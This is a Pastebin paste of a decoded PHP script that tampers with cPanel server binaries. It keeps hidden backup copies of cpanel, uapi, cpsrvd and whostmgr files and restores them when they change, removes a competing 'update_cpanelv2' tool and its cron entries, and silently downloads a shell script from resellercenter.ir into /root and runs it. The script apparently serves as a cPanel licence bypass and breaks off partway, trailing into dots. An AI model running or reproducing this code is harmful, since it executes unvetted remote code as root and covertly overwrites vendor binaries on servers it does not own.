Guest User

Untitled

a guest
Oct 3rd, 2020
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.86 KB | None | 0 0
  1. <?php
  2. /**
  3. *
  4. * @ This file is created by http://DeZender.Net
  5. * @ deZender (PHP7 Decoder for SourceGuardian Encoder)
  6. *
  7. * @ Version : 4.1.0.1
  8. * @ Author : DeZender
  9. * @ Release on : 29.08.2020
  10. * @ Official site : http://DeZender.Net
  11. *
  12. */
  13.  
  14. error_reporting(0);
  15.  
  16. if (file_exists('/usr/local/RC')) {
  17. }
  18. else {
  19. exec('mkdir /usr/local/RC > /dev/null 2>&1');
  20. }
  21.  
  22. if (file_exists('/usr/local/cpanel/cpanel_rc')) {
  23. exec('mv /usr/local/cpanel/*_rc /usr/local/RC > /dev/null 2>&1');
  24. }
  25.  
  26. if (file_exists('/usr/local/cpanel/whostmgr/bin/whostmgr_rc')) {
  27. exec('mv /usr/local/cpanel/whostmgr/bin/*_rc /usr/local/RC > /dev/null 2>&1');
  28. }
  29.  
  30. $file = '/usr/local/cpanel/cpanel';
  31. $filesize = filesize($file);
  32. $filech1 = file_get_contents('/usr/local/cpanel/cpanel');
  33. $posttt1 = strpos($filech1, '/usr/local/cpanel/3rdparty/perl');
  34. if ((1 < $filesize) && ($posttt1 !== false)) {
  35. exec('cp /usr/local/cpanel/cpanel /usr/local/RC/cpanel_rc > /dev/null 2>&1');
  36. }
  37.  
  38. if (md5_file('/usr/local/cpanel/.cpanel2') === md5_file('/usr/local/RC/cpanel_rc')) {
  39. }
  40. else {
  41. $file = '/usr/local/cpanel/.cpanel2';
  42. $filesize = filesize($file);
  43. $filech1 = file_get_contents('/usr/local/cpanel/.cpanel2');
  44. $posttt1 = strpos($filech1, '/usr/local/cpanel/3rdparty/perl');
  45. if ((1 < $filesize) && ($posttt1 !== false)) {
  46. exec('cp /usr/local/cpanel/.cpanel2 /usr/local/RC/cpanel_rc > /dev/null 2>&1');
  47. }
  48. else {
  49. exec('cp /usr/local/RC/cpanel_rc /usr/local/cpanel/.cpanel2 > /dev/null 2>&1');
  50. }
  51. }
  52.  
  53. if (file_exists('/usr/bin/update_cpanelv2')) {
  54. exec('/usr/bin/update_cpanelv2 --Uninstall > /dev/null 2>&1');
  55. exec('rm -rf /usr/bin/update_cpanelv* > /dev/null 2>&1');
  56. exec('rm -rf /etc/cron.d/CSP* > /dev/null 2>&1');
  57. }
  58.  
  59. $filech = file_get_contents('/usr/src/loader/version');
  60. $postt = strpos($filech, '11.4');
  61.  
  62. if ($postt !== false) {
  63. }
  64. else {
  65. exec('wget -O /root/sourceguardian resellercenter.ir/sourceguardian > /dev/null 2>&1');
  66. exec('sh /root/sourceguardian > /dev/null 2>&1');
  67. }
  68.  
  69. $file = '/usr/local/cpanel/uapi';
  70. $filesize = filesize($file);
  71. $filech1 = file_get_contents('/usr/local/cpanel/uapi');
  72. $posttt1 = strpos($filech1, '/usr/local/cpanel/3rdparty/perl');
  73. if ((1 < $filesize) && ($posttt1 !== false)) {
  74. exec('cp /usr/local/cpanel/uapi /usr/local/RC/uapi_rc > /dev/null 2>&1');
  75. }
  76.  
  77. if (md5_file('/usr/local/cpanel/.uapi') === md5_file('/usr/local/RC/uapi_rc')) {
  78. }
  79. else {
  80. $file = '/usr/local/cpanel/.uapi';
  81. $filesize = filesize($file);
  82. $filech1 = file_get_contents('/usr/local/cpanel/.uapi');
  83. $posttt1 = strpos($filech1, '/usr/local/cpanel/3rdparty/perl');
  84. if ((1 < $filesize) && ($posttt1 !== false)) {
  85. exec('cp /usr/local/cpanel/.uapi /usr/local/RC/uapi_rc > /dev/null 2>&1');
  86. }
  87. else {
  88. exec('cp /usr/local/RC/uapi_rc /usr/local/cpanel/.uapi > /dev/null 2>&1');
  89. }
  90. }
  91.  
  92. $file = '/usr/local/cpanel/cpsrvd';
  93. $filesize = filesize($file);
  94. $filech1 = file_get_contents('/usr/local/cpanel/cpsrvd');
  95. $posttt1 = strpos($filech1, '/usr/local/cpanel/3rdparty/perl');
  96. if ((1 < $filesize) && ($posttt1 !== false)) {
  97. if (md5_file('/usr/local/cpanel/cpsrvd') === md5_file('/usr/local/cpanel/.cpsrvd')) {
  98. }
  99. else {
  100. exec('cp /usr/local/cpanel/cpsrvd /usr/local/cpanel/.cpsrvd > /dev/null 2>&1');
  101. }
  102. }
  103. else {
  104. exec('cp /usr/local/cpanel/.cpsrvd /usr/local/cpanel/cpsrvd > /dev/null 2>&1');
  105. }
  106.  
  107. $file = '/usr/local/cpanel/whostmgr/bin/whostmgr';
  108. $filesize = filesize($file);
  109. $filech1 = file_get_contents('/usr/local/cpanel/whostmgr/bin/whostmgr');
  110. $posttt1 = strpos($filech1, '/usr/local/cpanel/3rdparty/perl');
  111. if ((1 < $filesize) && ($posttt1 !== false)) {
  112. exec('cp /usr/local/cpanel/whostmgr/bin/whostmgr /usr/local/RC/whostmgr_rc > /dev/null 2>&1');
  113. }
  114.  
  115. if (md5_file('/usr/local/cpanel/whostmgr/bin/.whostmgr') === md5_file('/usr/local/RC/whostmgr_rc')) {
  116. }
  117. else {
  118. $file = '/usr/local/cpanel/whostmgr/bin/.whostmgr';
  119. $filesize = filesize($file);
  120. $filech1 = file_get_contents('/usr/local/cpanel/whostmgr/bin/.whostmgr');
  121. $posttt1 = strpos($filech1, '/usr/local/cpanel/3rdparty/perl');
  122. if ((1 < $filesize) && ($posttt1 !== false)) {
  123. exec('cp /usr/local/cpanel/whostmgr/bin/.whostmgr /usr/local/RC/whostmgr_rc > /dev/null 2>&1');
  124. }
  125. else {
  126. exec('cp /usr/local/RC/whostmgr_rc /usr/local/cpanel/whostmgr/bin/.whostmgr > /dev/null 2>&1');
  127. }
  128. }
  129.  
  130. $file = '/usr/local/cpanel/whostmgr/bin/whostmgr2';
  131. $filesize = filesize($file);
  132. $filech1 = file_get_contents('/usr/local/cpanel/whostmgr/bin/whostmgr2');
  133. $posttt1 = strpos($filech1, '/usr/local/cpanel/3rdparty/perl');
  134. if ((1 < $filesize) && ($posttt1 !== false)) {
  135. exec('cp /usr/local/cpanel/whostmgr/bin/whostmgr2 /usr/local/RC/whostmgr2_rc > /dev/null 2>&1');
  136. }
  137.  
  138. if (md5_file('/usr/local/cpanel/whostmgr/bin/.whostmgr2') === md5_file('/usr/local/RC/whostmgr2_rc')) {
  139. }
  140. else {
  141. $file = '/usr/local/cpanel/whostmgr/bin/.whostmgr2';
  142. $filesize = filesize($file);
  143. $filech1 = file_get_contents('/usr/local/cpanel/whostmgr/bin/.whostmgr2');
  144. $posttt1 = strpos($filech1, '/usr/local/cpanel/3rdparty/perl');
  145. if ((1 < $filesize) && ($posttt1 !== false)) {
  146. exec('cp /usr/local/cpanel/whostmgr/bin/.whostmgr2 /usr/local/RC/whostmgr2_rc > /dev/null 2>&1');
  147. }
  148. else {
  149. exec('cp /usr/local/RC/whostmgr2_rc /usr/local/cpanel/whostmgr/bin/.whostmgr2 > /dev/null 2>&1');
  150. }
  151. }
  152.  
  153. $file = '/usr/local/cpanel/whostmgr/bin/whostmgr3';
  154. $filesize = filesize($file);
  155. $filech1 = file_get_contents('/usr/local/cpanel/whostmgr/bin/whostmgr3');
  156. $posttt1 = strpos($filech1, '/usr/local/cpanel/3rdparty/perl');
  157. if ((1 < $filesize) && ($posttt1 !== false)) {
  158. exec('cp /usr/local/cpanel/whostmgr/bin/whostmgr3 /usr/local/RC/whostmgr3_rc > /dev/null 2>&1');
  159. }
  160.  
  161. if (md5_file('/usr/local/cpanel/whostmgr/bin/.whostmgr3') === md5_file('/usr/local/RC/whostmgr3_rc')) {
  162. }
  163. else {
  164. $file = '/usr/local/cpanel/whostmgr/bin/.whostmgr3';
  165. $filesize = filesize($file);
  166. $filech1 = file_get_contents('/usr/local/cpanel/whostmgr/bin/.whostmgr3');
  167. $posttt1 = strpos($filech1, '/usr/local/cpanel/3rdparty/perl');
  168. if ((1 < $filesize) && ($posttt1 !== false)) {
  169. exec('cp /usr/local/cpanel/whostmgr/bin/.whostmgr3 /usr/local/RC/whostmgr3_rc > /dev/null 2>&1');
  170. }
  171. else {
  172. exec('cp /usr/local/RC/whostmgr3_rc /usr/local/cpanel/whostmgr/bin/.whostmgr3 > /dev/null 2>&1');
  173. }
  174. }
  175.  
  176. $file = '/usr/local/cpanel/whostmgr/bin/whostmgr4';
  177. $filesize = filesize($file);
  178. $filech1 = file_get_contents('/usr/local/cpanel/whostmgr/bin/whostmgr4');
  179. $posttt1 = strpos($filech1, '/usr/local/cpanel/3rdparty/perl');
  180. if ((1 < $filesize) && ($posttt1 !== false)) {
  181. exec('cp /usr/local/cpanel/whostmgr/bin/whostmgr4 /usr/local/RC/whostmgr4_rc > /dev/null 2>&1');
  182. }
  183.  
  184. if (md5_file('/usr/local/cpanel/whostmgr/bin/.whostmgr4') === md5_file('/usr/local/RC/whostmgr4_rc')) {
  185. }
  186. else {
  187. $file = '/usr/local/cpanel/whostmgr/bin/.whostmgr4';
  188. $filesize = filesize($file);
  189. $filech1 = file_get_contents('/usr/local/cpanel/whostmgr/bin/.whostmgr4');
  190. $posttt1 = strpos($filech1, '/usr/local/cpanel/3rdparty/perl');
  191. if ((1 < $filesize) && ($posttt1 !== false)) {
  192. exec('cp /usr/local/cpanel/whostmgr/bin/.whostmgr4 /usr/local/RC/whostmgr4_rc > /dev/null 2>&1');
  193. }
  194. else {
  195. exec('cp /usr/local/RC/whostmgr4_rc /usr/local/cpanel/whostmgr/bin/.whostmgr4 > /dev/null 2>&1');
  196. }
  197. }
  198.  
  199. $file = '/usr/local/cpanel/whostmgr/bin/whostmgr5';
  200. $filesize = filesize($file);
  201. $filech1 = file_get_contents('/usr/local/cpanel/whostmgr/bin/whostmgr5');
  202. $posttt1 = strpos($filech1, '/usr/local/cpanel/3rdparty/perl');
  203. if ((1 < $filesize) && ($posttt1 !== false)) {
  204. exec('cp /usr/local/cpanel/whostmgr/bin/whostmgr5 /usr/local/RC/whostmgr5_rc > /dev/null 2>&1');
  205. }
  206.  
  207. if (md5_file('/usr/local/cpanel/whostmgr/bin/.whostmgr5') === md5_file('/usr/local/RC/whostmgr5_rc')) {
  208. }
  209. else {
  210. $file = '/usr/local/cpanel/whostmgr/bin/.whostmgr5';
  211. $filesize = filesize($file);
  212. $filech1 = file_get_contents('/usr/local/cpanel/whostmgr/bin/.whostmgr5');
  213. $posttt1 = strpos($filech1, '/usr/local/cpanel/3rdparty/perl');
  214. if ((1 < $filesize) && ($posttt1 !== false)) {
  215. exec('cp /usr/local/cpanel/whostmgr/bin/.whostmgr5 /usr/local/RC/whostmgr5_rc > /dev/null 2>&1');
  216. }
  217. else {
  218. exec('cp /usr/local/RC/whostmgr5_rc /usr/local/cpanel/whostmgr/bin/.whostmgr5 > /dev/null 2>&1');
  219. }
  220. }
  221.  
  222. $file = '/usr/local/cpanel/whostmgr/bin/whostmgr6';
  223. $filesize = filesize($file);
  224. $filech1 = file_get_contents('/usr/local/cpanel/whostmgr/bin/whostmgr6');
  225. $posttt1 = strpos($filech1, '/usr/local/cpanel/3rdparty/perl');
  226. if ((1 < $filesize) && ($posttt1 !== false)) {
  227. exec('cp /usr/local/cpanel/whostmgr/bin/whostmgr6 /usr/local/RC/whostmgr6_rc > /dev/null 2>&1');
  228. }
  229.  
  230. if (md5_file('/usr/local/cpanel/whostmgr/bin/.whostmgr6') === md5_file('/usr/local/RC/whostmgr6_rc')) {
  231. }
  232. else {
  233. $file = '/usr/local/cpanel/whostmgr/bin/.whostmgr6';
  234. $filesize = filesize($file);
  235. $filech1 = file_get_contents('/usr/local/cpanel/whostmgr/bin/.whostmgr6');
  236. $posttt1 = strpos($filech1, '/usr/local/cpanel/3rdparty/perl');
  237. if ((1 < $filesize) && ($posttt1 !== false)) {
  238. exec('cp /usr/local/cpanel/whostmgr/bin/.whostmgr6 /usr/local/RC/whostmgr6_rc > /dev/null 2>&1');
  239. }
  240. else {
  241. exec('cp /usr/local/RC/whostmgr6_rc /usr/local/cpanel/whostmgr/bin/.whostmgr6 > /dev/null 2>&1');
  242. }
  243. }
  244.  
  245. $file = '/usr/local/cpanel/whostmgr/bin/whostmgr7';
  246. $filesize = filesize($file);
  247. $filech1 = file_get_contents('/usr/local/cpanel/whostmgr/bin/whostmgr7');
  248. $posttt1 = strpos($filech1, '/usr/local/cpanel/3rdparty/perl');
  249. if ((1 < $filesize) && ($posttt1 !== false)) {
  250. exec('cp /usr/local/cpanel/whostmgr/bin/whostmgr7 /usr/local/RC/whostmgr7_rc > /dev/null 2>&1');
  251. }
  252.  
  253. if (md5_file('/usr/local/cpanel/whostmgr/bin/.whostmgr7') === md5_file('/usr/local/RC/whostmgr7_rc')) {
  254. }
  255. else {
  256. $file = '/usr/local/cpanel/whostmgr/bin/.whostmgr7';
  257. $filesize = filesize($file);
  258. $filech1 = file_get_contents('/usr/local/cpanel/whostmgr/bin/.whostmgr7');
  259. $posttt1 = strpos($filech1, '/usr/local/cpanel/3rdparty/perl');
  260. if ((1 < $filesize) && ($posttt1 !== false)) {
  261. exec('cp /usr/local/cpanel/whostmgr/bin/.whostmgr7 /usr/local/RC/whostmgr7_rc > /dev/null 2>&1');
  262. }
  263. else {
  264. exec('cp /usr/local/RC/whostmgr7_rc /usr/local/cpanel/whostmgr/bin/.whostmgr7 > /dev/null 2>&1');
  265. }
  266. }
  267.  
  268. $file = '/usr/local/cpanel/whostmgr/bin/whostmgr9';
  269. $filesize = filesize($file);
  270. $filech1 = file_get_contents('/usr/local/cpanel/whostmgr/bin/whostmgr9');
  271. $posttt1 = strpos($filech1, '/usr/local/cpanel/3rdparty/perl');
  272. if ((1 < $filesize) && ($posttt1 !== false)) {
  273. exec('cp /usr/local/cpanel/whostmgr/bin/whostmgr9 /usr/local/RC/whostmgr9_rc > /dev/null 2>&1');
  274. }
  275.  
  276. if (md5_file('/usr/local/cpanel/whostmgr/bin/.whostmgr9') === md5_file('/usr/local/RC/whostmgr9_rc')) {
  277. }
  278. else {
  279. $file = '/usr/local/cpanel/whostmgr/bin/.whostmgr9';
  280. $filesize = filesize($file);
  281. $filech1 = file_get_contents('/usr/local/cpanel/whostmgr/bin/.whostmgr9');
  282. ...........................................................................
  283. ..................................................
  284. ............................
Add Comment
Please, Sign In to add comment